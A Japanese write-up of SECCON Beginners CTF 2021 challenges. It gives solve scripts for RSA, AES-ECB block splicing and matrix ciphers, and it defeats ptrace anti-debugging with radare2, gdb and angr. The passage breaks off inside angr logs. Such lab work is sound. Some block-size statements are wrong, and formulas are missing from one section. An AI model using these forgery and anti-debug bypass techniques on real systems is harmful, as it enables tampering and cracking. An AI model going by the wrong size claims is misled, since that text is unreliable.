SECCON Beginners CTF 2021 Writeup
SECCON Beginners CTF 2021に参加して943チーム中6位でした。解いた問題について解説していきます。
crypto
simple_RSA [289 solved]
from Crypto.Util.number import * from flag import flag flag = bytes_to_long(flag.encode("utf-8")) p = getPrime(1024) q = getPrime(1024) n = p * q e = 3 assert 2046 < n.bit_length() assert 375 == flag.bit_length() print("n =", n) print("e =", e) print("c =", pow(flag, e, n))
n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283 e = 3 c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613
eが3と小さい数字なので3乗根を計算すればフラグが出てきます。
n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283 e = 3 c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613 from gmpy2 import iroot from Crypto.Util.number import long_to_bytes m, _ = iroot(c, 3) print(long_to_bytes(m))
ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}
Logical_SEESAW [190 solved]
from Crypto.Util.number import * from random import random, getrandbits from flag import flag flag = bytes_to_long(flag.encode("utf-8")) length = flag.bit_length() key = getrandbits(length) while not length == key.bit_length(): key = getrandbits(length) flag = list(bin(flag)[2:]) key = list(bin(key)[2:]) cipher_L = [] for _ in range(16): cipher = flag[:] m = 0.5 for i in range(length): n = random() if n > m: cipher[i] = str(eval(cipher[i] + "&" + key[i])) cipher_L.append("".join(cipher)) print("cipher =", cipher_L)
cipher = ['11000010111010000100110001000000010001001011010000000110000100000100011010111110000010100110000001101110100110100100100010000110001001101000101010000010101000100000001010100010010010001011110001101010110100000010000010111110000010100010100011010010100010001001111001101010011000000101100', '11000110110010000100110001000000010001001111010010000110110000000110011010101110011010100110000010100110101100000100000000001110001001001000101000001010101001100000001010101010010110001001110001101010110100000110011010010110011000000100100011010000110010001001011001101010011000001101100', '11000010110010000100110001101000010001001111001000000110000100000110011000111110010010100110000000101110101101100000000010010110001001101000101010000010101000100000001000101110000010001001111001101010110100000010011010010110011000100000100011010010100010001001111001101010011000001101100', '11000110110010001100110000101000110001000111000000000110000000000110011010101110011000100110000010100110101101100100100010000100101001001000101010000010101000100000001010100110010010001001110001101010110000000110000010110110000000000000100011010010110010001011011001101010001000000111101', '11000110100010001100110000000000010001000111001010000110110100000110011010111110001010100110100011101110101110100010000000110100001001101000101010000010101001101000001000101000010010001001111001101010110000000010000010111110000000000010000011010010100010001001011001101010011000001111101', '11000010110010001100110001001000010001000011000000100110000000000110011010101110000010100110100011100110101110100010000000101100101001101000101010000010101001101000001010100010000010001011111001101010110100000110001010010110001010100100000011010010110010001011111001101010011000000101100', '11000110110010000100110001101000110001001011010000100110110000000110011000101110010000100110100001100110100110000000100010000110101001001000101010000010101001100000001000101110010010001011111001101010110000000010001010110110001010100110000011010000110010001011111001101010011000000101100', '11000010110010000100110000100000010001000111011000100110100000000110011000111110000010100110000001101110101111100100000010111110001001001000101000001010101001101000001000101010000110001011110001101010110000000110001010011110000010100010100011010010110010000011011001101010001000000111100', '11000010101010000100110001001000010001000011000000100110010000000100011000111110011000100110000001100110100101000010000000011100101001101000101000001010101001101000001010101110010110001001110001101010110000000010010010110110011000000010100011010000100010001011111001101010001000000101100', '11000010101010001100110000100000010001001111001010000110000000000100011010101110011000100110000011100110100111100110100000000110001001001000101010000010101000100000001000101100010010001011110001101010110000000110011010010110011010000000000011010010100010001011011001101010011000001101101', '11000010101010001100110001000000010001001011010010000110010100000100011000111110011000100110000010100110100111000100000000000100101001101000101010001010101000100000001000100000000110001001111001101010110000000110011010010110000010000100100011010000110010000011011001101010001000001101100', '11000110101010001100110001000000110001001111001010000110110000000110011010101110011000100110100001100110101111000100100010011110101001001000101010001010101000101000001000101100000110001011111001101010110100000010011010011110001000000100100011010010100010000001011001101010011000001111100', '11000110100010001100110001000000010001001011011010100110000000000100011000101110001000100110100001101110101101000110100010001100101001001000101010000010101000100000001010101100000010001001111001101010110100000110011010010110010000100110100011010010110010001001111001101010011000001101101', '11000110101010000100110000000000010001001111001010100110100100000100011010111110001000100110100001101110101100000000100000111110001001101000101000001010101001101000001010100110010010001011110001101010110100000110000010010110001010000010100011010010110010001001011001101010001000000101100', '11000010101010000100110000000000110001001011011010100110110000000110011000101110010010100110100000100110101111000010000000100100001001001000101000001010101001100000001000100000000010001011110001101010110000000010011010011110001010000000000011010010100010001001011001101010001000000101101', '11000110101010001100110001000000110001001111011000000110010100000100011000101110001010100110000001101110101110000100100000101110101001101000101000000010101000100000001010101010000010001011110001101010110000000010000010010110001000100100100011010000100010000001011001101010001000001111101']
ランダムなkeyを用意しておいて、flagの各bitに対し1/2の確率でflag[i] & key[i]をしたものを16個出力されています。flagとkeyで場合分けをしてみます。
flag[i] | key[i] | &を | cipher[i]のケース |
---|---|---|---|
0 | 0 | とらない | 0 |
0 | 0 | とる | 0 |
0 | 1 | とらない | 0 |
0 | 1 | とる | 0 |
1 | 0 | とらない | 1 |
1 | 0 | とる | 0 |
1 | 1 | とらない | 1 |
1 | 1 | とる | 1 |
flag[i]=1, key[i]=0のときのみに結果が01にバラけることがわかります。16回も結果を取っているので偶然全て0もしくは1になるということは考えにくいでしょう。
つまり01にバラけているbitはflag[i]=1、結果が全て同じbitはflag[i]=cipher[i]と判断すればよいです。
from Crypto.Util.number import * import collections cipher = ['11000010111010000100110001000000010001001011010000000110000100000100011010111110000010100110000001101110100110100100100010000110001001101000101010000010101000100000001010100010010010001011110001101010110100000010000010111110000010100010100011010010100010001001111001101010011000000101100', '11000110110010000100110001000000010001001111010010000110110000000110011010101110011010100110000010100110101100000100000000001110001001001000101000001010101001100000001010101010010110001001110001101010110100000110011010010110011000000100100011010000110010001001011001101010011000001101100', '11000010110010000100110001101000010001001111001000000110000100000110011000111110010010100110000000101110101101100000000010010110001001101000101010000010101000100000001000101110000010001001111001101010110100000010011010010110011000100000100011010010100010001001111001101010011000001101100', '11000110110010001100110000101000110001000111000000000110000000000110011010101110011000100110000010100110101101100100100010000100101001001000101010000010101000100000001010100110010010001001110001101010110000000110000010110110000000000000100011010010110010001011011001101010001000000111101', '11000110100010001100110000000000010001000111001010000110110100000110011010111110001010100110100011101110101110100010000000110100001001101000101010000010101001101000001000101000010010001001111001101010110000000010000010111110000000000010000011010010100010001001011001101010011000001111101', '11000010110010001100110001001000010001000011000000100110000000000110011010101110000010100110100011100110101110100010000000101100101001101000101010000010101001101000001010100010000010001011111001101010110100000110001010010110001010100100000011010010110010001011111001101010011000000101100', '11000110110010000100110001101000110001001011010000100110110000000110011000101110010000100110100001100110100110000000100010000110101001001000101010000010101001100000001000101110010010001011111001101010110000000010001010110110001010100110000011010000110010001011111001101010011000000101100', '11000010110010000100110000100000010001000111011000100110100000000110011000111110000010100110000001101110101111100100000010111110001001001000101000001010101001101000001000101010000110001011110001101010110000000110001010011110000010100010100011010010110010000011011001101010001000000111100', '11000010101010000100110001001000010001000011000000100110010000000100011000111110011000100110000001100110100101000010000000011100101001101000101000001010101001101000001010101110010110001001110001101010110000000010010010110110011000000010100011010000100010001011111001101010001000000101100', '11000010101010001100110000100000010001001111001010000110000000000100011010101110011000100110000011100110100111100110100000000110001001001000101010000010101000100000001000101100010010001011110001101010110000000110011010010110011010000000000011010010100010001011011001101010011000001101101', '11000010101010001100110001000000010001001011010010000110010100000100011000111110011000100110000010100110100111000100000000000100101001101000101010001010101000100000001000100000000110001001111001101010110000000110011010010110000010000100100011010000110010000011011001101010001000001101100', '11000110101010001100110001000000110001001111001010000110110000000110011010101110011000100110100001100110101111000100100010011110101001001000101010001010101000101000001000101100000110001011111001101010110100000010011010011110001000000100100011010010100010000001011001101010011000001111100', '11000110100010001100110001000000010001001011011010100110000000000100011000101110001000100110100001101110101101000110100010001100101001001000101010000010101000100000001010101100000010001001111001101010110100000110011010010110010000100110100011010010110010001001111001101010011000001101101', '11000110101010000100110000000000010001001111001010100110100100000100011010111110001000100110100001101110101100000000100000111110001001101000101000001010101001101000001010100110010010001011110001101010110100000110000010010110001010000010100011010010110010001001011001101010001000000101100', '11000010101010000100110000000000110001001011011010100110110000000110011000101110010010100110100000100110101111000010000000100100001001001000101000001010101001100000001000100000000010001011110001101010110000000010011010011110001010000000000011010010100010001001011001101010001000000101101', '11000110101010001100110001000000110001001111011000000110010100000100011000101110001010100110000001101110101110000100100000101110101001101000101000000010101000100000001010101010000010001011110001101010110000000010000010010110001000100100100011010000100010000001011001101010001000001111101'] char_cases = [[] for i in range(len(cipher[0]))] for i in range(len(cipher)): for j in range(len(cipher[i])): char_cases[j] += cipher[i][j] print(char_cases) flag = "" for case in char_cases: if all([c == "0" for c in case]): flag += "0" elif all([c == "1" for c in case]): flag += "1" else: flag += "1" print(flag)
ctf4b{Sh3_54w_4_SEESAW,_5h3_54id_50}
GFM [97 solved]
FLAG = b'<censored>' SIZE = 8 p = random_prime(2^128) MS = MatrixSpace(GF(p), SIZE) key = MS.random_element() while key.rank() != SIZE: key = MS.random_element() M = copy(MS.zero()) for i in range(SIZE): for j in range(SIZE): n = i * SIZE + j if n < len(FLAG): M[i, j] = FLAG[n] else: M[i, j] = GF(p).random_element() enc = key * M * key print('p:', p) print('key:', key) print('enc:', enc)
p: 331941721759386740446055265418196301559 key: [116401981595413622233973439379928029316 198484395131713718904460590157431383741 210254590341158275155666088591861364763 63363928577909853981431532626692827712 85569529885869484584091358025414174710 149985744539791485007500878301645174953 257210132141810272397357205004383952828 184416684170101286497942970370929735721] [ 42252147300048722312776731465252376713 199389697784043521236349156255232274966 310381139154247583447362894923363190365 275829263070032604189578502497555966953 292320824376999192958281274988868304895 324921185626193898653263976562484937554 22686717162639254526255826052697393472 214359781769812072321753087702746129144] [211396100900282889480535670184972456058 210886344415694355400093466459574370742 186128182857385981551625460291114850318 13624871690241067814493032554025486106 255739890982289281987567847525614569368 134368979399364142708704178059411420318 277933069920652939075272826105665044075 61427573037868265485473537350981407215] [282725280056297471271813862105110111601 183133899330619127259299349651040866360 275965964963191627114681536924910494932 290264213613308908413657414549659883232 140491946080825343356483570739103790896 115945320124815235263392576250349309769 240154953119196334314982419578825033800 33183533431462037262108359622963646719] [ 53797381941014407784987148858765520206 136359308345749561387923094784792612816 26225195574024986849888325702082920826 262047729451988373970843409716956598743 170482654414447157611638420335396499834 270894666257247100850080625998081047879 91361079178051929124422796293638533509 34320536938591553179352522156012709152] [266361407811039627958670918210300057324 40603082064365173791090924799619398850 253357188908081828561984991424432114534 322939245175391203579369607678957356656 63315415224740483660852444003806482951 224451355249970249493628425010262408466 80574507596932581147177946123110074284 135660472191299636620089835364724566497] [147031054061160640084051220440591645233 286143152686211719101923153591621514114 330366815640573974797084150543488528130 144943808947651161283902116225593922999 205798118501774672701619077143286382731 317326656225121941341827388220018201533 14319175936916841467976601008623679266 112709661623759566156255015500851204670] [306746575224464214911885995766809188593 35156534122767743923667417474200538878 35608800809152761271316580867239668942 259728427797578488375863755690441758142 29823482469997458858051644485250558639 137507773879704381525141121774823729991 29893063272339035080311541822496817623 292327683738678589950939775184752636265] enc: [133156758362160693874249080602263044484 293052519705504374237314478781574255411 72149359944851514746901936133544542235 56884023532130350649269153560305458687 67693140194970657150958369664873936730 227562364727203645742246559359263307899 98490363636066788474326997841084979092 323336812987530088571937131837711189774] [244725074927901230757605861090949184139 63515536426726760809658259528128105864 297175420762447340692787685976316634653 279269959863745528135624660183844601533 203893759503830977666718848163034645395 163047775389856094351865609811169485260 103694284536703795013187648629904551283 322381436721457334707426033205713602738] [ 17450567396702585206498315474651164931 105594468721844292976534833206893170749 10757192948155933023940228740097574294 132150825033376621961227714966632294973 329990437240515073537637876706291805678 57236499879418458740541896196911064438 265417446675313880790999752931267955356 73326674854571685938542290353559382428] [270340230065315856318168332917483593198 217815152309418487303753027816544751231 55738850736330060752843300854983855505 236064119692146789532532278818003671413 104963107909414684818161043267471013832 234439803801976616706759524848279829319 173296466130000392237506831379251781235 34841816336429947760241770816424911200] [140341979141710030301381984850572416509 248997512418753861458272855046627447638 58382380514192982462591686716543036965 188097853050327328682574670122723990784 125356457137904871005571726686232857387 55692122688357412528950240580072267902 21322427002782861702906398261504812439 97855599554699774346719832323235463339] [298368319184145017709393597751160602769 311011298046021018241748692366798498529 165888963658945943429480232453040964455 240099237723525827201004876223575456211 306939673050020405511805882694537774846 7035607106089764511604627683661079229 198278981512146990284619915272219052007 255750707476361671578970680702422436637] [ 45315424384273600868106606292238082349 22526147579041711876519945055798051695 15778025992115319312591851693766890019 318446611756066795522259881812628512448 269954638404267367913546070681612869355 205423708248276366495211174184786418791 92563824983279921050396256326760929563 209843107530597179583072730783030298674] [ 662653811932836620608984350667151180 304181885849319274230319044357612000272 280045476178732891877948766225904840517 216340293591880460916317821948025035163 79726526647684009633247003110463447210 36010610538790393011235704307570914178 284067290617158853279270464803256026349 45816877317461535723616457939953776625]
行列Mを復元できれば良さそうです。なので、として、
になります。あとはsageを使って解けばよいです。
p = 331941721759386740446055265418196301559 key = [ [116401981595413622233973439379928029316, 198484395131713718904460590157431383741, 210254590341158275155666088591861364763, 63363928577909853981431532626692827712, 85569529885869484584091358025414174710, 149985744539791485007500878301645174953, 257210132141810272397357205004383952828, 184416684170101286497942970370929735721], [ 42252147300048722312776731465252376713, 199389697784043521236349156255232274966, 310381139154247583447362894923363190365, 275829263070032604189578502497555966953, 292320824376999192958281274988868304895, 324921185626193898653263976562484937554, 22686717162639254526255826052697393472, 214359781769812072321753087702746129144], [211396100900282889480535670184972456058, 210886344415694355400093466459574370742, 186128182857385981551625460291114850318, 13624871690241067814493032554025486106, 255739890982289281987567847525614569368, 134368979399364142708704178059411420318, 277933069920652939075272826105665044075, 61427573037868265485473537350981407215], [282725280056297471271813862105110111601, 183133899330619127259299349651040866360, 275965964963191627114681536924910494932, 290264213613308908413657414549659883232, 140491946080825343356483570739103790896, 115945320124815235263392576250349309769, 240154953119196334314982419578825033800, 33183533431462037262108359622963646719], [ 53797381941014407784987148858765520206, 136359308345749561387923094784792612816, 26225195574024986849888325702082920826, 262047729451988373970843409716956598743, 170482654414447157611638420335396499834, 270894666257247100850080625998081047879, 91361079178051929124422796293638533509, 34320536938591553179352522156012709152], [266361407811039627958670918210300057324, 40603082064365173791090924799619398850, 253357188908081828561984991424432114534, 322939245175391203579369607678957356656, 63315415224740483660852444003806482951, 224451355249970249493628425010262408466, 80574507596932581147177946123110074284, 135660472191299636620089835364724566497], [147031054061160640084051220440591645233, 286143152686211719101923153591621514114, 330366815640573974797084150543488528130, 144943808947651161283902116225593922999, 205798118501774672701619077143286382731, 317326656225121941341827388220018201533, 14319175936916841467976601008623679266, 112709661623759566156255015500851204670], [306746575224464214911885995766809188593, 35156534122767743923667417474200538878, 35608800809152761271316580867239668942, 259728427797578488375863755690441758142, 29823482469997458858051644485250558639, 137507773879704381525141121774823729991, 29893063272339035080311541822496817623, 292327683738678589950939775184752636265] ] enc =[ [133156758362160693874249080602263044484, 293052519705504374237314478781574255411, 72149359944851514746901936133544542235, 56884023532130350649269153560305458687, 67693140194970657150958369664873936730, 227562364727203645742246559359263307899, 98490363636066788474326997841084979092, 323336812987530088571937131837711189774], [244725074927901230757605861090949184139, 63515536426726760809658259528128105864, 297175420762447340692787685976316634653, 279269959863745528135624660183844601533, 203893759503830977666718848163034645395, 163047775389856094351865609811169485260, 103694284536703795013187648629904551283, 322381436721457334707426033205713602738], [ 17450567396702585206498315474651164931, 105594468721844292976534833206893170749, 10757192948155933023940228740097574294, 132150825033376621961227714966632294973, 329990437240515073537637876706291805678, 57236499879418458740541896196911064438, 265417446675313880790999752931267955356, 73326674854571685938542290353559382428], [270340230065315856318168332917483593198, 217815152309418487303753027816544751231, 55738850736330060752843300854983855505, 236064119692146789532532278818003671413, 104963107909414684818161043267471013832, 234439803801976616706759524848279829319, 173296466130000392237506831379251781235, 34841816336429947760241770816424911200], [140341979141710030301381984850572416509, 248997512418753861458272855046627447638, 58382380514192982462591686716543036965, 188097853050327328682574670122723990784, 125356457137904871005571726686232857387, 55692122688357412528950240580072267902, 21322427002782861702906398261504812439, 97855599554699774346719832323235463339], [298368319184145017709393597751160602769, 311011298046021018241748692366798498529, 165888963658945943429480232453040964455, 240099237723525827201004876223575456211, 306939673050020405511805882694537774846, 7035607106089764511604627683661079229, 198278981512146990284619915272219052007, 255750707476361671578970680702422436637], [ 45315424384273600868106606292238082349, 22526147579041711876519945055798051695, 15778025992115319312591851693766890019, 318446611756066795522259881812628512448, 269954638404267367913546070681612869355, 205423708248276366495211174184786418791, 92563824983279921050396256326760929563, 209843107530597179583072730783030298674], [ 662653811932836620608984350667151180, 304181885849319274230319044357612000272, 280045476178732891877948766225904840517, 216340293591880460916317821948025035163, 79726526647684009633247003110463447210, 36010610538790393011235704307570914178, 284067290617158853279270464803256026349, 45816877317461535723616457939953776625] ] # enc * key^-1 = key * M # key * enc^-1 = M^-1 * key^-1 # (key * enc^-1) * key = M^-1 # key^-1 * enc * key^-1 = M SIZE = 8 MS = MatrixSpace(GF(p), SIZE) key = MS.matrix(key) enc = MS.matrix(enc) M = key.inverse() * enc * key.inverse() for i in range(SIZE): for j in range(SIZE): print(chr(M[i][j]), end="")
ctf4b{d1d_y0u_pl4y_w1th_m4tr1x_4nd_g4l0is_f1eld?}
Imaginary [75 solved]
import json import os from socketserver import ThreadingTCPServer, BaseRequestHandler from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from secret import flag, key class ImaginaryService(BaseRequestHandler): def handle(self): try: self.request.sendall(b'Welcome to Secret IMAGINARY NUMBER Store!\n') self.numbers = {} while True: num = self._menu() if num == 1: self._save() elif num == 2: self._show() elif num == 3: self._import() elif num == 4: self._export() elif num == 5: self._secret() else: break except Exception as e: try: self.request.sendall(f'ERR: {e}\n'.encode()) except Exception: pass def _menu(self): self.request.sendall(b'1. Save a number\n') self.request.sendall(b'2. Show numbers\n') self.request.sendall(b'3. Import numbers\n') self.request.sendall(b'4. Export numbers\n') self.request.sendall(b'0. Exit\n') self.request.sendall(b'> ') try: return int(self.request.recv(128).strip()) except ValueError: return 0 def _save(self): try: self.request.sendall(b'Real part> ') re = int(self.request.recv(128).strip()) self.request.sendall(b'Imaginary part> ') im = int(self.request.recv(128).strip()) name = f'{re} + {im}i' self.numbers[name] = [re, im] except ValueError: pass def _show(self): self.request.sendall(b'-' * 50 + b'\n') for name in self.numbers: re, im = self.numbers[name] self.request.sendall(f'{name}: ({re}, {im})\n'.encode()) self.request.sendall(b'-' * 50 + b'\n') def _import(self): self.request.sendall(b'Exported String> ') data = self.request.recv(1024).strip().decode() enc = bytes.fromhex(data) cipher = AES.new(key, AES.MODE_ECB) plaintext = unpad(cipher.decrypt(enc), AES.block_size) self.numbers = json.loads(plaintext.decode()) self.request.sendall(b'Imported.\n') self._show() def _export(self): cipher = AES.new(key, AES.MODE_ECB) dump = pad(json.dumps(self.numbers).encode(), AES.block_size) self.request.sendall(dump + b'\n') enc = cipher.encrypt(dump) self.request.sendall(b'Exported:\n') self.request.sendall(enc.hex().encode() + b'\n') def _secret(self): if '1337i' in self.numbers: self.request.sendall(b'Congratulations!\n') self.request.sendall(f'The flag is {flag}\n'.encode()) if __name__ == '__main__': host = os.getenv('CTF4B_HOST') port = os.getenv('CTF4B_PORT') if not host: host = 'localhost' if not port: port = '1337' ThreadingTCPServer.allow_reuse_address = True server = ThreadingTCPServer((host, int(port)), ImaginaryService) print(f'Start server at {host}:{port}') server.serve_forever()
とりあえず動かして動作を確認します。
Welcome to Secret IMAGINARY NUMBER Store! 1. Save a number 2. Show numbers 3. Import numbers 4. Export numbers 0. Exit > 1 Real part> 1 Imaginary part> 2 1. Save a number 2. Show numbers 3. Import numbers 4. Export numbers 0. Exit > 2 -------------------------------------------------- 1 + 2i: (1, 2) -------------------------------------------------- 1. Save a number 2. Show numbers 3. Import numbers 4. Export numbers 0. Exit > 4 {"1 + 2i": [1, 2]} Exported: b104f46879f9c8c27c9a284962dbac9c3c92b09c2c5096d0b088a85971a7ebca
{f'{re} + {im}i': [re, im]}
というような辞書を作ることができ、またAES-ECBモードで辞書を暗号化したり暗号文から辞書を復元できたりするプログラムのようです。また、秘密の選択肢の5があり、その時に辞書に1337i
というキーがあったならフラグが出力されるようです。
1337i
という文字列は通常では作ることはできないため、AES-ECBモードの仕様(脆弱性?)を利用します。
AESとは固定の長さ(ブロック)ごとに文字列を区切って暗号化するアルゴリズムですが、ECBモードだと暗号文がブロックのみにしか依存しません。
つまりブロックごとに見たとき同じ平文であれば同じ暗号文が生成されるし、暗号文のブロックを入れ替えたら復号した時に平文のブロックも入れ替えられるような性質があるということです。
これを利用して、復号したときに"1337i"
というキーを作ります。
1 2 3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"A + Ai": AAAA... BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB+ 1337i": BBBB...
というような二つの平文を考えます。一つ目の平文の暗号文の3ブロック目以降を、二つ目の平文の暗号文の3ブロック目以降に入れ替えてみます。すると、復号したとき1337i
のキーが生成できることがわかります。
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"1337i": BBBB...
後はAAAAやBBBBとしている部分をうまく合わせればいいです。平文のブロックは128bit=8byte, 暗号文のブロックは256bit=32byteであることに注意します。(色々試せばわかります)
""" 1 2 3 {"1111111 + 1i": [1111111, 1], "1 + 1i": [1, 1]} {"111111111111111111111111111 + 1337i": [111111111111111111111111111, 1337]} """ # {"1111111 + 1i": [1111111, 1], "1 + 1i": [1, 1]} a = "33c7461caec455639a2c78889df87b2b787ed5c63954b411c12f2306190bb676450ebe4d6d0ea85378c0212781ca5cdd8db4341b6d2b363abdc9d13de3042f42" # {"111111111111111111111111111 + 1337i": [111111111111111111111111111, 1337]} b = "d8db631e58d29bd0b53cf62aea9bc58d164d382d3b0976bd56bf827e770dbe1ac2d4a53f38d83a1b4cf782f97a51929d9316130cba530eced6aba2b2728de2abcd5fe366f2cad5f88dcb41586bf94409" # {"1111111 + 1i": [1111111, 1], "1337i": [111111111111111111111111111, 1337]} leet = a[:32*2] + b[32*2:] print(leet) # 後は手動
ctf4b{yeah_you_are_a_member_of_imaginary_number_club}
reversing
only_read [450 solved]
フラグかどうか判定してくれるバイナリです、radare2で見ると一文字ずつ一致してるか比較している処理が見えるので復元します。
[0x000010a0]> pdf @ main ; DATA XREF from entry0 @ 0x10c1 ┌ 352: int main (int argc, char **argv, char **envp); ... │ 0x000011c5 488d45e0 lea rax, [buf] │ 0x000011c9 ba17000000 mov edx, 0x17 ; size_t nbyte │ 0x000011ce 4889c6 mov rsi, rax ; void *buf │ 0x000011d1 bf00000000 mov edi, 0 ; int fildes │ 0x000011d6 e8b5feffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) │ 0x000011db c64405e000 mov byte [rbp + rax - 0x20], 0 │ 0x000011e0 0fb645e0 movzx eax, byte [buf] │ 0x000011e4 3c63 cmp al, 0x63 │ ┌─< 0x000011e6 0f85da000000 jne 0x12c6 │ │ 0x000011ec 0fb645e1 movzx eax, byte [var_1fh] ... ❯ objdump -d chall -M intel | grep -Po '(?<=cmp al,0x)..' | xargs | pwn unhex ctf4b{c0n5t4nt_f0ld1ng}
children [301 solved]
❯ ./children I will generate 10 child processes. They also might generate additional child process. Please tell me each process id in order to identify them! Please give me my child pid!
生成した子プロセスのpidを答えろと何回も問われます。gdbで見ると楽です。
❯ gdb ./children ... pwndbg> set follow-fork-mode parent pwndbg> r I will generate 10 child processes. They also might generate additional child process. Please tell me each process id in order to identify them! [Detaching after fork from child process 3129] [Detaching after fork from child process 3130] Please give me my child pid! 3130 ok [Detaching after fork from child process 3131] Please give me my child pid! 3131 ok [Detaching after fork from child process 3132] Please give me my child pid! 3132 ok [Detaching after fork from child process 3133] Please give me my child pid! 3133 ok [Detaching after fork from child process 3134] Please give me my child pid! 3134 ok [Detaching after fork from child process 3135] Please give me my child pid! 3135 ok [Detaching after fork from child process 3136] Please give me my child pid! 3136 ok [Detaching after fork from child process 3137] Please give me my child pid! 3137 ok [Detaching after fork from child process 3138] Please give me my child pid! 3138 ok [Detaching after fork from child process 3139] Please give me my child pid! 3139 ok How many children were born? 11 ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}
please_not_trace_me [86 solved]
❯ ./do_not_trace_me flag decrypted. bye.
アンチデバッグがついていてデバッグしてフラグを覗くことができません。アンチデバッグを回避しましょう。
[0x000010c0]> pdf @ main ... │ ││││╎ 0x000012e9 bf00000000 mov edi, 0 │ ││││╎ 0x000012ee b800000000 mov eax, 0 │ ││││╎ 0x000012f3 e888fdffff call sym.imp.ptrace ; long ptrace(__ptrace_request request, pid_t pid, void*addr, void*data) │ ││││╎ 0x000012f8 488945c8 mov qword [var_38h], rax ... │ ││││││╎ 0x00001477 bf00000000 mov edi, 0 │ ││││││╎ 0x0000147c b800000000 mov eax, 0 │ ││││││╎ 0x00001481 e8fafbffff call sym.imp.ptrace ; long ptrace(__ptrace_request request, pid_t pid, void*addr, void*data) │ ││││││╎ 0x00001486 488945d0 mov qword [var_30h], rax
ptraceによる検知を使っているようです。(参考: GDB アンチデバッギング) とりあえずnopで潰してみます。
[0x000010c0]> wao nop @ 0x00001481 [0x000010c0]> wao nop @ 0x000012f3 ❯ ./do_not_trace_me_cp prease not trace me...
駄目でした。少しの間詰まりましたが、よく考えたらデバッグしていない状態では一回目のptraceが成功し、二回目のptraceは失敗します。そのため二回目のptraceが呼ばれたときにeaxが-1になっている必要があります。
gdbの方が楽そうなのでgdbでptraceを回避しつつ正しい返り値を設定していきます。
❯ gdb ./do_not_trace_me pwndbg> b ptrace pwndbg> b *main+305 Breakpoint 2 at 0x1330 pwndbg> r Breakpoint 1, ptrace (request=PTRACE_TRACEME) at ../sysdeps/unix/sysv/linux/ptrace.c:30 ... pwndbg> finish pwndbg> set $rax=0 pwndbg> c Breakpoint 1, ptrace (request=PTRACE_TRACEME) at ../sysdeps/unix/sysv/linux/ptrace.c:30 ... pwndbg> finish pwndbg> set $rax=-1 pwndbg> c Continuing. Breakpoint 2, 0x0000555555555330 in main () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────── *RAX 0x555555555329 (main+298) ◂— lea rdi, [rip + 0xcd4] RBX 0x5555555559a0 (__libc_csu_init) ◂— endbr64 *RCX 0x1a *RDX 0x555555556034 ◂— 0xfffff211fffff30e *RDI 0x555555556004 ◂— 'flag decrypted. bye.' RSI 0x0 *R8 0x5555555592c0 ◂— 'ctf4b{d1d_y0u_d3crypt_rc4?}' ...
ctf4b{d1d_y0u_d3crypt_rc4?}
be_angry [80 solved]
フラグを判定してくれるバイナリです。問題文から察するにangrという自動で指定した場所に着くまでの入力を見つけてくれるツールを使えば良さそうです。radare2で正解時の処理をする場所を探します。
[0x000010a0]> / Correct ... 0x00003010 hit11_0 .Incorrect!!Correct!!j. [0x000010a0]> axt 0x00003010 entry0; [16] -r-x section size 6629 named .text 0x10a0 [UNKNOWN] endbr64 sym.main 0x2532 [DATA] lea rdi, str.Correct__ [0x000010a0]> pd 5 @ 0x2532 │ ; CODE XREF from sym.main @ 0x1237 │ ;-- case 32: ; from 0x1237 │ 0x00002532 488d3dd70a00. lea rdi, str.Correct__ ; hit11_0 │ ; 0x3010 ; "Correct!!" ; const char *s │ 0x00002539 e832ebffff call sym.imp.puts ; int puts(const char *s)
0x00002532あたりであることがわかりました。後はangrに任せます。
import angr project = angr.Project("be_angry", auto_load_libs=False, main_opts={"base_addr": 0x400000}) @project.hook(0x00002532+0x400000) def print_flag(state): print("FLAG SHOULD BE:", state.posix.dumps(0)) project.terminate_execution() project.execute()
❯ py be_angry.py WARNING | 2021-05-24 16:25:06,339 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior. WARNING | 2021-05-24 16:25:06,339 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by: WARNING | 2021-05-24 16:25:06,339 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state WARNING | 2021-05-24 16:25:06,340 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null WARNING | 2021-05-24 16:25:06,340 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages. WARNING | 2021-05-24 16:25:06,340 | angr.storage.memory_mixins.default_filler_mixin | Filling register id with 8 unconstrained bytes referenced from 0x4028f9 (_1_main_flag_func_4+0x1f in be_angry (0x28f9)) WARNING | 2021-05-24 16:25:06,343 | 